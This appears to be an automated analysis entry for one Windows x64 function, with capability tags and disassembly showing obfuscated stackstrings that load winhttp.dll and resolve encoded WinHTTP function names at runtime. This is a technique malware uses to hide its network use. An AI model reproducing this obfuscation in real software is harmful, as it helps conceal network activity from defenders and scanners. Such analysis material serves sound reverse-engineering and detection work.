Function at 0x140001130
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
jmp 0x140001130
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x230
mov rdi, rsp
movabs rcx, 0x8c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x240]
mov rax, qword [0x14002d010]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x50], 0
mov eax, 0x57
mov word [rsp + 0x68], ax
mov eax, 0x69
mov word [rsp + 0x6a], ax
mov eax, 0x6e
mov word [rsp + 0x6c], ax
mov eax, 0x68
mov word [rsp + 0x6e], ax
mov eax, 0x74
mov word [rsp + 0x70], ax
mov eax, 0x74
mov word [rsp + 0x72], ax
mov eax, 0x70
mov word [rsp + 0x74], ax
mov eax, 0x2e
mov word [rsp + 0x76], ax
mov eax, 0x64
mov word [rsp + 0x78], ax
mov eax, 0x6c
mov word [rsp + 0x7a], ax
mov eax, 0x6c
mov word [rsp + 0x7c], ax
xor eax, eax
mov word [rsp + 0x7e], ax
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x98], 0xe
mov byte [rsp + 0x99], 0x21
mov byte [rsp + 0x9a], 0x1a
mov byte [rsp + 0x9b], 0x26
mov byte [rsp + 0x9c], 0x21
mov byte [rsp + 0x9d], 0x18
mov byte [rsp + 0x9e], 0
mov byte [rsp + 0x9f], 0x77
mov byte [rsp + 0xa0], 0x3b
mov byte [rsp + 0xa1], 0x21
mov byte [rsp + 0xa2], 0x37
mov byte [rsp + 0xa3], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc
lea r9, [rsp + 0x98]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax], r11
mov byte [rsp + 0xc8], 0xe
mov byte [rsp + 0xc9], 0x21
mov byte [rsp + 0xca], 0x1a
mov byte [rsp + 0xcb], 0x26
mov byte [rsp + 0xcc], 0x21
mov byte [rsp + 0xcd], 0x18
mov byte [rsp + 0xce], 0
mov byte [rsp + 0xcf], 0x7b
mov byte [rsp + 0xd0], 0x24
mov byte [rsp + 0xd1], 0x2a
mov byte [rsp + 0xd2], 0x37
mov byte [rsp + 0xd3], 0x2d
mov byte [rsp + 0xd4], 0x17
mov byte [rsp + 0xd5], 0x1a
mov byte [rsp + 0xd6], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf
lea r9, [rsp + 0xc8]
xor r8d, r8d
xor edx, edx
mov ecx, 2
call fcn.14000100a
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x18], r11
mov byte [rsp + 0xf8], 0xe
mov byte [rsp + 0xf9], 0x21
mov byte [rsp + 0xfa], 0x1a
mov byte [rsp + 0xfb], 0x26
mov byte [rsp + 0xfc], 0x21
mov byte [rsp + 0xfd], 0x18
mov byte [rsp + 0xfe], 0
mov byte [rsp + 0xff], 0x77
mov byte [rsp + 0x100], 0x3b
mov byte [rsp + 0x101], 0x21
mov byte [rsp + 0x102], 0x37
mov byte [rsp + 0x103], 0x1a
mov byte [rsp + 0x104], 0x11
mov byte [rsp + 0x105], 0x1f
mov byte [rsp + 0x106], 0x20
mov byte [rsp + 0x107], 9
mov byte [rsp + 0x108], 3
mov byte [rsp + 0x109], 0x4c
mov byte [rsp + 0x10a], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x13
lea r9, [rsp + 0xf8]
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x38], r11
mov byte [rsp + 0x128], 0xe
mov byte [rsp + 0x129], 0x21
mov byte [rsp + 0x12a], 0x1a
mov byte [rsp + 0x12b], 0x26
mov byte [rsp + 0x12c], 0x21
mov byte [rsp + 0x12d], 0x18
mov byte [rsp + 0x12e], 0
mov byte [rsp + 0x12f], 0x6b
mov byte [rsp + 0x130], 0x2e
mov byte [rsp + 0x131], 0x2a
mov byte [rsp + 0x132], 0x3d
mov byte [rsp + 0x133], 0x1a
mov byte [rsp + 0x134], 0x11
mov byte [rsp + 0x135], 0x1f
mov byte [rsp + 0x136], 0x20
mov byte [rsp + 0x137], 9
mov byte [rsp + 0x138], 3
mov byte [rsp + 0x139], 0x4c
mov byte [rsp + 0x13a], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x13
lea r9, [rsp + 0x128]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0x128]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x58], r11
mov byte [rsp + 0x158], 0xe
mov byte [rsp + 0x159], 0x21
mov byte [rsp + 0x15a], 0x1a
mov byte [rsp + 0x15b], 0x26
mov byte [rsp + 0x15c], 0x21
mov byte [rsp + 0x15d], 0x18
mov byte [rsp + 0x15e], 0
mov byte [rsp + 0x15f], 0x6a
mov byte [rsp + 0x160], 0x2e
mov byte [rsp + 0x161], 0x27
mov byte [rsp + 0x162], 0x3c
mov byte [rsp + 0x163], 0x21
mov byte [rsp + 0x164], 2
mov byte [rsp + 0x165], 0xb
mov byte [rsp + 0x166], 7
mov byte [rsp + 0x167], 9
mov byte [rsp + 0x168], 3
mov byte [rsp + 0x169], 0x48
mov byte [rsp + 0x16a], 0x24
mov byte [rsp + 0x16b], 0x2a
mov byte [rsp + 0x16c], 0x2a
mov byte [rsp + 0x16d], 0x2d
mov byte [rsp + 0x16e], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x17
lea r9, [rsp + 0x158]
mov r8d, 6
xor edx, edx
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0x158]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x78], r11
mov byte [rsp + 0x188], 0xe
mov byte [rsp + 0x189], 0x21
mov byte [rsp + 0x18a], 0x1a
mov byte [rsp + 0x18b], 0x26
mov byte [rsp + 0x18c], 0x21
mov byte [rsp + 0x18d], 0x18
mov byte [rsp + 0x18e], 0
mov byte [rsp + 0x18f], 0x69
mov byte [rsp + 0x190], 0x3e
mov byte [rsp + 0x191], 0x21
mov byte [rsp + 0x192], 0x2b
mov byte [rsp + 0x193], 0x31
mov byte [rsp + 0x194], 0x30
mov byte [rsp + 0x195], 0xf
mov byte [rsp + 0x196], 0x21
mov byte [rsp + 0x197], 0xd
mov byte [rsp + 0x198], 0x31
mov byte [rsp + 0x199], 0x4e
mov byte [rsp + 0x19a], 0x2a
mov byte [rsp + 0x19b], 0x2d
mov byte [rsp + 0x19c], 0x35
mov byte [rsp + 0x19d], 0x29
mov byte [rsp + 0x19e], 0x16
mov byte [rsp + 0x19f], 2
mov byte [rsp + 0x1a0], 0x30
mov byte [rsp + 0x1a1], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1a
lea r9, [rsp + 0x188]
xor r8d, r8d
mov edx, 7
mov ecx, 6
call fcn.14000100a
lea rdx, [rsp + 0x188]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x98], r11
mov byte [rsp + 0x1c8], 0xe
mov byte [rsp + 0x1c9], 0x21
mov byte [rsp + 0x1ca], 0x1a
mov byte [rsp + 0x1cb], 0x26
mov byte [rsp + 0x1cc], 0x21
mov byte [rsp + 0x1cd], 0x18
mov byte [rsp + 0x1ce], 0
mov byte [rsp + 0x1cf], 0x6a
mov byte [rsp + 0x1d0], 0x2e
mov byte [rsp + 0x1d1], 0x25
mov byte [rsp + 0x1d2], 0x3d
mov byte [rsp + 0x1d3], 0xc
mov byte [rsp + 0x1d4], 0x15
mov byte [rsp + 0x1d5], 0x1a
mov byte [rsp + 0x1d6], 0x34
mov byte [rsp + 0x1d7], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x1c8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0x1c8]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0xa8], r11
mov byte [rsp + 0x1f8], 0xe
mov byte [rsp + 0x1f9], 0x21
mov byte [rsp + 0x1fa], 0x1a
mov byte [rsp + 0x1fb], 0x26
mov byte [rsp + 0x1fc], 0x21
mov byte [rsp + 0x1fd], 0x18
mov byte [rsp + 0x1fe], 0
mov byte [rsp + 0x1ff], 0x7b
mov byte [rsp + 0x200], 0x27
mov byte [rsp + 0x201], 0x2b
mov byte [rsp + 0x202], 0x2a
mov byte [rsp + 0x203], 0x2d
mov byte [rsp + 0x204], 0x3c
mov byte [rsp + 0x205], 0xf
mov byte [rsp + 0x206], 0x3b
mov byte [rsp + 0x207], 8
mov byte [rsp + 0x208], 0x1c
mov byte [rsp + 0x209], 0x5d
mov byte [rsp + 0x20a], 0
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x13
lea r9, [rsp + 0x1f8]
xor r8d, r8d
mov edx, 0x64
xor ecx, ecx
call fcn.14000100a
lea rdx, [rsp + 0x1f8]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0xc8], r11
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140025e00]
call fcn.140002130
mov rax, rdi
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140002110
add rsp, 0x230
pop rdi
ret